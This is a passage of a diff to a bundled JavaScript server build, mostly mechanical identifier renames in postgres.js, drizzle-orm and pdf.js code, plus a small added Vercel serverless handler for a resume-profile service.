selfClosing(tagName, attributes) { open(tagName, attributes); - close(tagName); + close2(tagName); } function text2(value) { fragments.push(escapeMarkdown(value)); @@ -85876,7 +85876,7 @@ var require_markdown_writer = __commonJS({ return { asString, open, - close, + close: close2, text: text2, selfClosing }; @@ -88046,6 +88046,21 @@ function newTraceContext(partial3 = {}) { }; } +// packages/utils/src/vercel.ts +function createVercelHandler(app2) { + const ready = Promise.resolve(app2.ready()); + ready.catch(() => void 0); + return async (req, res) => { + await ready; + app2.server.emit("request", req, res); + }; +} +var SERVERLESS_PLACEHOLDER_PORT = "3000"; +function withServerlessEnvDefaults(source = process.env) { + if (!source.VERCEL) return source; + return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; +} + // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js var encoder = new TextEncoder(); var decoder = new TextDecoder(); @@ -103883,8 +103898,8 @@ var listMessagesResponseSchema = external_exports.object({ }); // packages/auth-kit/src/tokens.ts -function createTokenVerifierConfig(env2) { - const authBase = `${env2.SUPABASE_URL}/auth/v1`; +function createTokenVerifierConfig(env3) { + const authBase = `${env3.SUPABASE_URL}/auth/v1`; return { jwks: createRemoteJWKSet(new URL(`${authBase}/.well-known/jwks.json`)), issuer: authBase @@ -105385,7 +105400,7 @@ var noop2 = () => { function Subscribe(postgres2, options) { const subscribers = /* @__PURE__ */ new Map(), slot = "postgresjs_" + Math.random().toString(36).slice(2), state = {}; let connection2, stream, ended = false; - const sql2 = subscribe.sql = postgres2({ + const sql3 = subscribe.sql = postgres2({ ...options, transform: { column: {}, value: {}, row: {} }, max: 1, @@ -105401,26 +105416,26 @@ function Subscribe(postgres2, options) { return; stream = null; state.pid = state.secret = void 0; - connected(await init(sql2, slot, options.publications)); + connected(await init(sql3, slot, options.publications)); subscribers.forEach((event) => event.forEach(({ onsubscribe }) => onsubscribe())); }, no_subscribe: true }); - const end = sql2.end, close = sql2.close; - sql2.end = async () => { + const end = sql3.end, close2 = sql3.close; + sql3.end = async () => { ended = true; stream && await new Promise((r) => (stream.once("close", r), stream.end())); return end(); }; - sql2.close = async () => { + sql3.close = async () => { stream && await new Promise((r) => (stream.once("close", r), stream.end())); - return close(); + return close2(); }; return subscribe; async function subscribe(event, fn, onsubscribe = noop2, onerror = noop2) { event = parseEvent2(event); if (!connection2) - connection2 = init(sql2, slot, options.publications); + connection2 = init(sql3, slot, options.publications); const subscriber = { fn, onsubscribe }; const fns = subscribers.has(event) ? subscribers.get(event).add(subscriber) : subscribers.set(event, /* @__PURE__ */ new Set([subscriber])).get(event); const unsubscribe = () => { @@ -105431,7 +105446,7 @@ function Subscribe(postgres2, options) { connected(x); onsubscribe(); stream && stream.on("error", onerror); - return { unsubscribe, state, sql: sql2 }; + return { unsubscribe, state, sql: sql3 }; }); } function connected(x) { @@ -105439,14 +105454,14 @@ function Subscribe(postgres2, options) { state.pid = x.state.pid; state.secret = x.state.secret; } - async function init(sql3, slot2, publications) { + async function init(sql4, slot2, publications) { if (!publications) throw new Error("Missing publication names"); - const xs = await sql3.unsafe( + const xs = await sql4.unsafe( `CREATE_REPLICATION_SLOT ${slot2} TEMPORARY LOGICAL pgoutput NOEXPORT_SNAPSHOT` ); const [x] = xs; - const stream2 = await sql3.unsafe( + const stream2 = await sql4.unsafe( `START_REPLICATION SLOT ${slot2} LOGICAL ${x.consistent_point} (proto_version '1', publication_names '${publications}')` ).writable(); const state2 = { @@ -105454,14 +105469,14 @@ function Subscribe(postgres2, options) { }; stream2.on("data", data); stream2.on("error", error51); - stream2.on("close", sql3.close); + stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; function error51(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { if (x2[0] === 119) { - parse3(x2.subarray(25), state2, sql3.options.parsers, handle, options.transform); + parse3(x2.subarray(25), state2, sql4.options.parsers, handle, options.transform); } else if (x2[0] === 107 && x2[17]) { state2.lsn = x2.subarray(1, 9); pong(); @@ -105593,22 +105608,22 @@ function parseEvent2(x) { // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/large.js import Stream2 from "stream"; -function largeObject(sql2, oid, mode = 131072 | 262144) { +function largeObject(sql3, oid, mode = 131072 | 262144) { return new Promise(async (resolve2, reject2) => { - await sql2.begin(async (sql3) => { + await sql3.begin(async (sql4) => { let finish; - !oid && ([{ oid }] = await sql3`select lo_creat(-1) as oid`); - const [{ fd }] = await sql3`select lo_open(${oid}, ${mode}) as fd`; + !oid && ([{ oid }] = await sql4`select lo_creat(-1) as oid`); + const [{ fd }] = await sql4`select lo_open(${oid}, ${mode}) as fd`; const lo = { writable, readable, - close: () => sql3`select lo_close(${fd})`.then(finish), - tell: () => sql3`select lo_tell64(${fd})`, - read: (x) => sql3`select loread(${fd}, ${x}) as data`, - write: (x) => sql3`select lowrite(${fd}, ${x})`, - truncate: (x) => sql3`select lo_truncate64(${fd}, ${x})`, - seek: (x, whence = 0) => sql3`select lo_lseek64(${fd}, ${x}, ${whence})`, - size: () => sql3` + close: () => sql4`select lo_close(${fd})`.then(finish), + tell: () => sql4`select lo_tell64(${fd})`, + read: (x) => sql4`select loread(${fd}, ${x}) as data`, + write: (x) => sql4`select lowrite(${fd}, ${x})`, + truncate: (x) => sql4`select lo_truncate64(${fd}, ${x})`, + seek: (x, whence = 0) => sql4`select lo_lseek64(${fd}, ${x}, ${whence})`, + size: () => sql4` select lo_lseek64(${fd}, location, 0) as position, seek.size @@ -105683,12 +105698,12 @@ function Postgres(a, b2) { let ending = false; const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); - const sql2 = Sql(handler); - Object.assign(sql2, { + const sql3 = Sql(handler); + Object.assign(sql3, { get parameters() { return options.parameters; }, - largeObject: largeObject.bind(null, sql2), + largeObject: largeObject.bind(null, sql3), subscribe, CLOSE, END: CLOSE, @@ -105697,17 +105712,17 @@ function Postgres(a, b2) { reserve, listen, begin, - close, + close: close2, end }); - return sql2; + return sql3; function Sql(handler2) { handler2.debug = options.debug; Object.entries(options.types).reduce((acc, [name, type]) => { acc[name] = (x) => new Parameter(x, type.to); return acc; }, typed); - Object.assign(sql3, { + Object.assign(sql4, { types: typed, typed, unsafe, @@ -105716,11 +105731,11 @@ function Postgres(a, b2) { json: json3, file: file2 }); - return sql3; + return sql4; function typed(value, type) { return new Parameter(value, type); } - function sql3(strings, ...args) { + function sql4(strings, ...args) { const query = strings && Array.isArray(strings.raw) ? new Query(strings, args, handler2, cancel) : typeof strings === "string" && !args.length ? new Identifier(options.transform.column.to ? options.transform.column.to(strings) : strings) : new Builder(strings, args); return query; } @@ -105751,7 +105766,7 @@ function Postgres(a, b2) { } async function listen(name, fn, onlisten) { const listener = { fn, onlisten }; - const sql3 = listen.sql || (listen.sql = Postgres({ + const sql4 = listen.sql || (listen.sql = Postgres({ ...options, max: 1, idle_timeout: null, @@ -105775,7 +105790,7 @@ function Postgres(a, b2) { listener.onlisten && listener.onlisten(); return { state: result3.state, unlisten }; } - channels[name] = { result: sql3`listen ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; + channels[name] = { result: sql4`listen ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; const result2 = await channels[name].result; listener.onlisten && listener.onlisten(); return { state: result2.state, unlisten }; @@ -105786,11 +105801,11 @@ function Postgres(a, b2) { if (channels[name].listeners.length) return; delete channels[name]; - return sql3`unlisten ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`; + return sql4`unlisten ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`; } } async function notify(channel, payload) { - return await sql2`select pg_notify(${channel}, ${"" + payload})`; + return await sql3`select pg_notify(${channel}, ${"" + payload})`; } async function reserve() { const queue = queue_default(); @@ -105802,12 +105817,12 @@ function Postgres(a, b2) { move(c, reserved); c.reserved = () => queue.length ? c.execute(queue.shift()) : move(c, reserved); c.reserved.release = true; - const sql3 = Sql(handler2); - sql3.release = () => { + const sql4 = Sql(handler2); + sql4.release = () => { c.reserved = null; onopen(c); }; - return sql3; + return sql4; function handler2(q) { c.queue === full ? queue.push(q) : c.execute(q) || move(c, full); } @@ -105817,7 +105832,7 @@ function Postgres(a, b2) { const queries2 = queue_default(); let savepoints = 0, connection2, prepare = null; try { - await sql2.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); + await sql3.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); return await Promise.race([ scope(connection2, fn), new Promise((_3, reject2) => connection2.onclose = reject2) @@ -105826,29 +105841,29 @@ function Postgres(a, b2) { throw error51; } async function scope(c, fn2, name) { - const sql3 = Sql(handler2); - sql3.savepoint = savepoint; - sql3.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); + const sql4 = Sql(handler2); + sql4.savepoint = savepoint; + sql4.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); let uncaughtError, result2; - name && await sql3`savepoint ${sql3(name)}`; + name && await sql4`savepoint ${sql4(name)}`; try { result2 = await new Promise((resolve2, reject2) => { - const x = fn2(sql3); + const x = fn2(sql4); Promise.resolve(Array.isArray(x) ? Promise.all(x) : x).then(resolve2, reject2); }); if (uncaughtError) throw uncaughtError; } catch (e) { - await (name ? sql3`rollback to ${sql3(name)}` : sql3`rollback`); + await (name ? sql4`rollback to ${sql4(name)}` : sql4`rollback`); throw e instanceof PostgresError && e.code === "25P02" && uncaughtError || e; } if (!name) { - prepare ? await sql3`prepare transaction '${sql3.unsafe(prepare)}'` : await sql3`commit`; + prepare ? await sql4`prepare transaction '${sql4.unsafe(prepare)}'` : await sql4`commit`; } return result2; function savepoint(name2, fn3) { if (name2 && Array.isArray(name2.raw)) - return savepoint((sql4) => sql4.apply(sql4, arguments)); + return savepoint((sql5) => sql5.apply(sql5, arguments)); arguments.length === 1 && (fn3 = name2, name2 = null); return scope(c, fn3, "s" + savepoints++ + (name2 ? "_" + name2 : "")); } @@ -105908,7 +105923,7 @@ function Postgres(a, b2) { )) ]).then(() => clearTimeout(timer2)); } - async function close() { + async function close2() { await Promise.all(connections.map((c) => c.end())); } async function destroy(resolve2) { @@ -105948,7 +105963,7 @@ function Postgres(a, b2) { function parseOptions(a, b2) { if (a && a.shared) return a; - const env2 = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env2.PGHOST || "localhost", port = o.port || url2.port || env2.PGPORT || 5432, user = o.user || o.username || url2.username || env2.PGUSERNAME || env2.PGUSER || osUsername(); + const env3 = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env3.PGHOST || "localhost", port = o.port || url2.port || env3.PGPORT || 5432, user = o.user || o.username || url2.username || env3.PGUSERNAME || env3.PGUSER || osUsername(); o.no_prepare && (o.prepare = false); query.sslmode && (query.ssl = query.sslmode, delete query.sslmode); "timeout" in o && (console.log("The timeout option is deprecated, use idle_timeout instead"), o.idle_timeout = o.timeout); @@ -105974,24 +105989,24 @@ function parseOptions(a, b2) { host: Array.isArray(host) ? host : host.split(",").map((x) => x.split(":")[0]), port: Array.isArray(port) ? port : host.split(",").map((x) => parseInt(x.split(":")[1] || port)), path: o.path || host.indexOf("/") > -1 && host + "/.s.PGSQL." + port, - database: o.database || o.db || (url2.pathname || "").slice(1) || env2.PGDATABASE || user, + database: o.database || o.db || (url2.pathname || "").slice(1) || env3.PGDATABASE || user, user, - pass: o.pass || o.password || url2.password || env2.PGPASSWORD || "", + pass: o.pass || o.password || url2.password || env3.PGPASSWORD || "", ...Object.entries(defaults).reduce( (acc, [k, d]) => { - const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env2["PG" + k.toUpperCase()] || d; + const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env3["PG" + k.toUpperCase()] || d; acc[k] = typeof value === "string" && ints.includes(k) ? +value : value; return acc; }, {} ), connection: { - application_name: env2.PGAPPNAME || "postgres.js", + application_name: env3.PGAPPNAME || "postgres.js", ...o.connection, ...Object.entries(query).reduce((acc, [k, v]) => (k in defaults || (acc[k] = v), acc), {}) }, types: o.types || {}, - target_session_attrs: tsa(o, url2, env2), + target_session_attrs: tsa(o, url2, env3), onnotice: o.onnotice, onnotify: o.onnotify, onclose: o.onclose, @@ -106003,8 +106018,8 @@ function parseOptions(a, b2) { ...mergeUserTypes(o.types) }; } -function tsa(o, url2, env2) { - const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env2.PGTARGETSESSIONATTRS; +function tsa(o, url2, env3) { + const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env3.PGTARGETSESSIONATTRS; if (!x || ["read-write", "read-only", "primary", "standby", "prefer-standby"].includes(x)) return x; throw new Error("target_session_attrs " + x + " is not supported"); @@ -106759,10 +106774,10 @@ function pgEnumObjectWithSchema(enumName, values3, schema) { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/subquery.js var Subquery = class { static [entityKind] = "Subquery"; - constructor(sql2, fields, alias, isWith = false, usedTables = []) { + constructor(sql3, fields, alias, isWith = false, usedTables = []) { this._ = { brand: "Subquery", - sql: sql2, + sql: sql3, selectedFields: fields, alias, isWith, @@ -107160,19 +107175,19 @@ function sql(strings, ...params) { } return new SQL(queryChunks); } -((sql2) => { +((sql22) => { function empty() { return new SQL([]); } - sql2.empty = empty; + sql22.empty = empty; function fromList(list) { return new SQL(list); } - sql2.fromList = fromList; + sql22.fromList = fromList; function raw(str) { return new SQL([new StringChunk(str)]); } - sql2.raw = raw; + sql22.raw = raw; function join(chunks, separator) { const result2 = []; for (const [i, chunk2] of chunks.entries()) { @@ -107183,24 +107198,24 @@ function sql(strings, ...params) { } return new SQL(result2); } - sql2.join = join; + sql22.join = join; function identifier(value) { return new Name(value); } - sql2.identifier = identifier; + sql22.identifier = identifier; function placeholder2(name2) { return new Placeholder(name2); } - sql2.placeholder = placeholder2; + sql22.placeholder = placeholder2; function param2(value, encoder2) { return new Param(value, encoder2); } - sql2.param = param2; + sql22.param = param2; })(sql || (sql = {})); ((SQL2) => { class Aliased { - constructor(sql2, fieldAlias) { - this.sql = sql2; + constructor(sql22, fieldAlias) { + this.sql = sql22; this.fieldAlias = fieldAlias; } static [entityKind] = "SQL.Aliased"; @@ -110020,8 +110035,8 @@ var PgDialect = class { return "none"; } } - sqlToQuery(sql2, invokeSource) { - return sql2.toQuery({ + sqlToQuery(sql22, invokeSource) { + return sql22.toQuery({ casing: this.casing, escapeName: this.escapeName, escapeParam: this.escapeParam, @@ -112380,10 +112395,10 @@ var PgRelationalQuery = class extends QueryPromise { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/raw.js var PgRaw = class extends QueryPromise { - constructor(execute, sql2, query, mapBatchResult) { + constructor(execute, sql3, query, mapBatchResult) { super(); this.execute = execute; - this.sql = sql2; + this.sql = sql3; this.query = query; this.mapBatchResult = mapBatchResult; } @@ -112703,8 +112718,8 @@ var NoopCache = class extends Cache { async onMutate(_params) { } }; -async function hashQuery(sql2, params) { - const dataToHash = `${sql2}-${JSON.stringify(params)}`; +async function hashQuery(sql3, params) { + const dataToHash = `${sql3}-${JSON.stringify(params)}`; const encoder2 = new TextEncoder(); const data = encoder2.encode(dataToHash); const hashBuffer = await crypto.subtle.digest("SHA-256", data); @@ -112837,8 +112852,8 @@ var PgSession = class { ).all(); } /** @internal */ - async count(sql2, token) { - const res = await this.execute(sql2, token); + async count(sql22, token) { + const res = await this.execute(sql22, token); return Number( res[0]["count"] ); @@ -112875,12 +112890,12 @@ var PgTransaction = class extends PgDatabase { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/postgres-js/session.js var PostgresJsPreparedQuery = class extends PgPreparedQuery { - constructor(client, queryString, params, logger, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { + constructor(client, queryString, params, logger2, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { super({ sql: queryString, params }, cache2, queryMetadata, cacheConfig); this.client = client; this.queryString = queryString; this.params = params; - this.logger = logger; + this.logger = logger2; this.fields = fields; this._isResponseInArrayMode = _isResponseInArrayMode; this.customResultMapper = customResultMapper; @@ -113022,11 +113037,11 @@ function construct(client, config2 = {}) { client.options.serializers["114"] = transparentParser; client.options.serializers["3802"] = transparentParser; const dialect = new PgDialect({ casing: config2.casing }); - let logger; + let logger2; if (config2.logger === true) { - logger = new DefaultLogger(); + logger2 = new DefaultLogger(); } else if (config2.logger !== false) { - logger = config2.logger; + logger2 = config2.logger; } let schema; if (config2.schema) { @@ -113040,14 +113055,14 @@ function construct(client, config2 = {}) { tableNamesMap: tablesConfig.tableNamesMap }; } - const session = new PostgresJsSession(client, dialect, schema, { logger, cache: config2.cache }); - const db = new PostgresJsDatabase(dialect, session, schema); - db.$client = client; - db.$cache = config2.cache; - if (db.$cache) { - db.$cache["invalidate"] = config2.cache?.onMutate; + const session = new PostgresJsSession(client, dialect, schema, { logger: logger2, cache: config2.cache }); + const db2 = new PostgresJsDatabase(dialect, session, schema); + db2.$client = client; + db2.$cache = config2.cache; + if (db2.$cache) { + db2.$cache["invalidate"] = config2.cache?.onMutate; } - return db; + return db2; } function drizzle(...params) { if (typeof params[0] === "string") { @@ -113602,7 +113617,7 @@ var idempotencyKeys = pgTable( // packages/db/src/client.ts function createDatabase(options) { - const sql2 = src_default(options.url, { + const sql3 = src_default(options.url, { max: options.singleConnection === true ? 1 : options.maxConnections ?? 10, // Prepared statements are disabled because pgbouncer in transaction mode // (the deployment target) cannot support them. @@ -113610,18 +113625,18 @@ function createDatabase(options) { onnotice: options.onNotice ?? (() => { }) }); - const db = drizzle(sql2, { schema: schema_exports }); + const db2 = drizzle(sql3, { schema: schema_exports }); return { - db, - sql: sql2, + db: db2, + sql: sql3, close: async () => { - await sql2.end({ timeout: 5 }); + await sql3.end({ timeout: 5 }); } }; } -async function pingDatabase(sql2) { +async function pingDatabase(sql3) { try { - await sql2`SELECT 1`; + await sql3`SELECT 1`; return true; } catch { return false; @@ -114031,12 +114046,12 @@ function createMetricsRegistry(serviceName) { } // packages/observability/src/fastify.ts -function registerHttpMetrics(app, metrics2) { - app.decorateRequest("metricsStartTime", void 0); - app.addHook("onRequest", async (request) => { +function registerHttpMetrics(app2, metrics2) { + app2.decorateRequest("metricsStartTime", void 0); + app2.addHook("onRequest", async (request) => { request.metricsStartTime = process.hrtime.bigint(); }); - app.addHook("onResponse", async (request, reply) => { + app2.addHook("onResponse", async (request, reply) => { const route = request.routeOptions.url ?? request.url; const labels = { method: request.method, route, status_code: String(reply.statusCode) }; metrics2.httpRequestsTotal.inc(labels); @@ -114046,8 +114061,8 @@ function registerHttpMetrics(app, metrics2) { } }); } -function metricsRoute(app, metrics2) { - app.get("/metrics", async (_request, reply) => { +function metricsRoute(app2, metrics2) { + app2.get("/metrics", async (_request, reply) => { reply.header("content-type", metrics2.registry.contentType); return metrics2.registry.metrics(); }); @@ -114075,22 +114090,22 @@ function toResume(row) { updated_at: row.updatedAt }; } -async function findById(db, resumeId) { - const [row] = await db.select().from(schema_exports.resumes).where(eq(schema_exports.resumes.resumeId, resumeId)).limit(1); +async function findById(db2, resumeId) { + const [row] = await db2.select().from(schema_exports.resumes).where(eq(schema_exports.resumes.resumeId, resumeId)).limit(1); return row ?? null; } -async function findByUserAndHash(db, userId, contentHash) { - const [row] = await db.select().from(schema_exports.resumes).where(and(eq(schema_exports.resumes.userId, userId), eq(schema_exports.resumes.contentHash, contentHash))).limit(1); +async function findByUserAndHash(db2, userId, contentHash) { + const [row] = await db2.select().from(schema_exports.resumes).where(and(eq(schema_exports.resumes.userId, userId), eq(schema_exports.resumes.contentHash, contentHash))).limit(1); return row ?? null; } -async function insertPending(db, input) { - const [row] = await db.insert(schema_exports.resumes).values({ ...input, status: "pending" }).returning(); +async function insertPending(db2, input) { + const [row] = await db2.insert(schema_exports.resumes).values({ ...input, status: "pending" }).returning(); if (!row) throw new Error("insertPending: insert returned no row"); return row; } -async function markParsed(db, resumeId, result2) { +async function markParsed(db2, resumeId, result2) { const now = (/* @__PURE__ */ new Date()).toISOString(); - await db.update(schema_exports.resumes).set({ + await db2.update(schema_exports.resumes).set({ status: "parsed", parsedText: result2.parsedText, parsedProfile: result2.parsedProfile, @@ -114100,10 +114115,10 @@ async function markParsed(db, resumeId, result2) { updatedAt: now }).where(eq(schema_exports.resumes.resumeId, resumeId)); } -async function markFailed(db, resumeId, reason) { - await db.update(schema_exports.resumes).set({ status: "failed", failureReason: reason, updatedAt: (/* @__PURE__ */ new Date()).toISOString() }).where(eq(schema_exports.resumes.resumeId, resumeId)); +async function markFailed(db2, resumeId, reason) { + await db2.update(schema_exports.resumes).set({ status: "failed", failureReason: reason, updatedAt: (/* @__PURE__ */ new Date()).toISOString() }).where(eq(schema_exports.resumes.resumeId, resumeId)); } -async function listForUser(db, userId, pagination) { +async function listForUser(db2, userId, pagination) { const cursorValue = pagination.cursor ? decodeCursor(pagination.cursor) : null; const cursorCreatedAt = typeof cursorValue?.createdAt === "string" ? cursorValue.createdAt : null; const cursorId = typeof cursorValue?.id === "string" ? cursorValue.id : null; @@ -114115,7 +114130,7 @@ async function listForUser(db, userId, pagination) { ); if (tieBreak) conditions.push(tieBreak); } - const rows = await db.select().from(schema_exports.resumes).where(and(...conditions)).orderBy(desc(schema_exports.resumes.createdAt), desc(schema_exports.resumes.resumeId)).limit(pagination.limit + 1); + const rows = await db2.select().from(schema_exports.resumes).where(and(...conditions)).orderBy(desc(schema_exports.resumes.createdAt), desc(schema_exports.resumes.resumeId)).limit(pagination.limit + 1); const hasMore = rows.length > pagination.limit; const items = hasMore ? rows.slice(0, pagination.limit) : rows; const last2 = items[items.length - 1]; @@ -114126,8 +114141,8 @@ async function listForUser(db, userId, pagination) { } // services/profile/src/http/routes/get-resume.ts -function getResumeRoute(app, deps) { - app.get("/v1/resumes/:id", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function getResumeRoute(app2, deps) { + app2.get("/v1/resumes/:id", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const { id } = request.params; const resume = await findById(deps.db, id); @@ -114140,8 +114155,8 @@ function getResumeRoute(app, deps) { } // services/profile/src/http/routes/health.ts -function healthRoute(app, deps) { - app.get("/health", async (_request, reply) => { +function healthRoute(app2, deps) { + app2.get("/health", async (_request, reply) => { const dbOk = await pingDatabase(deps.sql); const brokerOk = deps.broker.isHealthy(); const body = { @@ -114155,8 +114170,8 @@ function healthRoute(app, deps) { } // services/profile/src/http/routes/list-resumes.ts -function listResumesRoute(app, deps) { - app.get("/v1/resumes", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function listResumesRoute(app2, deps) { + app2.get("/v1/resumes", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const query = paginationQuerySchema.parse(request.query); const { items, nextCursor } = await listForUser(deps.db, actor.user_id, query); @@ -114619,15 +114634,15 @@ function parseResumeText(rawText) { } // services/profile/src/repo/jobs.ts -async function findOptimizationTarget(db, jobId) { - const [row] = await db.select({ title: schema_exports.jobs.title, description: schema_exports.jobs.description, skills: schema_exports.jobs.skills }).from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); +async function findOptimizationTarget(db2, jobId) { + const [row] = await db2.select({ title: schema_exports.jobs.title, description: schema_exports.jobs.description, skills: schema_exports.jobs.skills }).from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); return row ?? null; } // services/profile/src/http/routes/optimize-resume.ts var paramsSchema = external_exports.object({ id: uuidSchema }); -function optimizeResumeRoute(app, deps) { - app.post("/v1/resumes/:id/optimize", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function optimizeResumeRoute(app2, deps) { + app2.post("/v1/resumes/:id/optimize", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const { id } = paramsSchema.parse(request.params); const body = optimizeResumeRequestSchema.parse(request.body); @@ -120259,8 +120274,8 @@ var XfaText = class _XfaText { } }; var XfaLayer = class { - static setupStorage(html, id, element, storage, intent) { - const storedData = storage.getValue(id, { + static setupStorage(html, id, element, storage2, intent) { + const storedData = storage2.getValue(id, { value: null }); switch (element.name) { @@ -120272,7 +120287,7 @@ var XfaLayer = class { break; } html.addEventListener("input", (event) => { - storage.setValue(id, { + storage2.setValue(id, { value: event.target.value }); }); @@ -120288,7 +120303,7 @@ var XfaLayer = class { break; } html.addEventListener("change", (event) => { - storage.setValue(id, { + storage2.setValue(id, { value: event.target.checked ? event.target.getAttribute("xfaOn") : event.target.getAttribute("xfaOff") }); }); @@ -120300,7 +120315,7 @@ var XfaLayer = class { break; } html.addEventListener("input", (event) => { - storage.setValue(id, { + storage2.setValue(id, { value: event.target.value }); }); @@ -120320,7 +120335,7 @@ var XfaLayer = class { html.addEventListener("input", (event) => { const options = event.target.options; const value = options.selectedIndex === -1 ? "" : options[options.selectedIndex].value; - storage.setValue(id, { + storage2.setValue(id, { value }); }); @@ -120330,7 +120345,7 @@ var XfaLayer = class { static setAttributes({ html, element, - storage = null, + storage: storage2 = null, intent, linkService }) { @@ -120371,12 +120386,12 @@ var XfaLayer = class { if (isHTMLAnchorElement) { linkService.addLinkAttributes(html, attributes.href, attributes.newWindow); } - if (storage && attributes.dataId) { - this.setupStorage(html, attributes.dataId, element, storage); + if (storage2 && attributes.dataId) { + this.setupStorage(html, attributes.dataId, element, storage2); } } static render(parameters) { - const storage = parameters.annotationStorage; + const storage2 = parameters.annotationStorage; const linkService = parameters.linkService; const root2 = parameters.xfaHtml; const intent = parameters.intent || "display"; @@ -120438,7 +120453,7 @@ var XfaLayer = class { this.setAttributes({ html: childHtml, element: child, - storage, + storage: storage2, intent, linkService }); @@ -136186,7 +136201,7 @@ var LinkAnnotationElement = class extends AnnotationElement { allFields.push(...fields); } } - const storage = this.annotationStorage; + const storage2 = this.annotationStorage; const allIds = []; for (const field of allFields) { const { @@ -136196,7 +136211,7 @@ var LinkAnnotationElement = class extends AnnotationElement { switch (field.type) { case "text": { const value = field.defaultValue || ""; - storage.setValue(id, { + storage2.setValue(id, { value }); break; @@ -136204,7 +136219,7 @@ var LinkAnnotationElement = class extends AnnotationElement { case "checkbox": case "radiobutton": { const value = field.defaultValue === field.exportValues; - storage.setValue(id, { + storage2.setValue(id, { value }); break; @@ -136212,7 +136227,7 @@ var LinkAnnotationElement = class extends AnnotationElement { case "combobox": case "listbox": { const value = field.defaultValue || ""; - storage.setValue(id, { + storage2.setValue(id, { value }); break; @@ -136383,27 +136398,27 @@ var TextWidgetAnnotationElement = class extends WidgetAnnotationElement { }); } setPropertyOnSiblings(base, key, value, keyInStorage) { - const storage = this.annotationStorage; + const storage2 = this.annotationStorage; for (const element of this._getElementsByName(base.name, base.id)) { if (element.domElement) { element.domElement[key] = value; } - storage.setValue(element.id, { + storage2.setValue(element.id, { [keyInStorage]: value }); } } render() { - const storage = this.annotationStorage; + const storage2 = this.annotationStorage; const id = this.data.id; this.container.classList.add("textWidgetAnnotation"); let element = null; if (this.renderForms) { - const storedData = storage.getValue(id, { + const storedData = storage2.getValue(id, { value: this.data.fieldValue }); let textContent = storedData.value || ""; - const maxLen = storage.getValue(id, { + const maxLen = storage2.getValue(id, { charLimit: this.data.maxLen }).charLimit; if (maxLen && textContent.length > maxLen) { @@ -136456,7 +136471,7 @@ var TextWidgetAnnotationElement = class extends WidgetAnnotationElement { element.maxLength = maxLen; } element.addEventListener("input", (event) => { - storage.setValue(id, { + storage2.setValue(id, { value: event.target.value }); this.setPropertyOnSiblings(element, "value", event.target.value, "value"); @@ -136516,7 +136531,7 @@ var TextWidgetAnnotationElement = class extends WidgetAnnotationElement { value(event) { elementData.userValue = event.detail.value ?? ""; if (!hasDateOrTime) { - storage.setValue(id, { + storage2.setValue(id, { value: elementData.userValue.toString() }); } @@ -136536,7 +136551,7 @@ var TextWidgetAnnotationElement = class extends WidgetAnnotationElement { if (hasDateOrTime) { data.value = formattedValue; } - storage.setValue(id, data); + storage2.setValue(id, data); }, selRange(event) { event.target.setSelectionRange(...event.detail.selRange); @@ -136559,7 +136574,7 @@ var TextWidgetAnnotationElement = class extends WidgetAnnotationElement { } value = value.slice(0, charLimit); target.value = elementData.userValue = value; - storage.setValue(id, { + storage2.setValue(id, { value }); this.linkService.eventBus?.dispatch("dispatcheventinsandbox", { @@ -136752,15 +136767,15 @@ var CheckboxWidgetAnnotationElement = class extends WidgetAnnotationElement { }); } render() { - const storage = this.annotationStorage; + const storage2 = this.annotationStorage; const data = this.data; const id = data.id; - let value = storage.getValue(id, { + let value = storage2.getValue(id, { value: data.exportValue === data.fieldValue }).value; if (typeof value === "string") { value = value !== "Off"; - storage.setValue(id, { + storage2.setValue(id, { value }); } @@ -136787,11 +136802,11 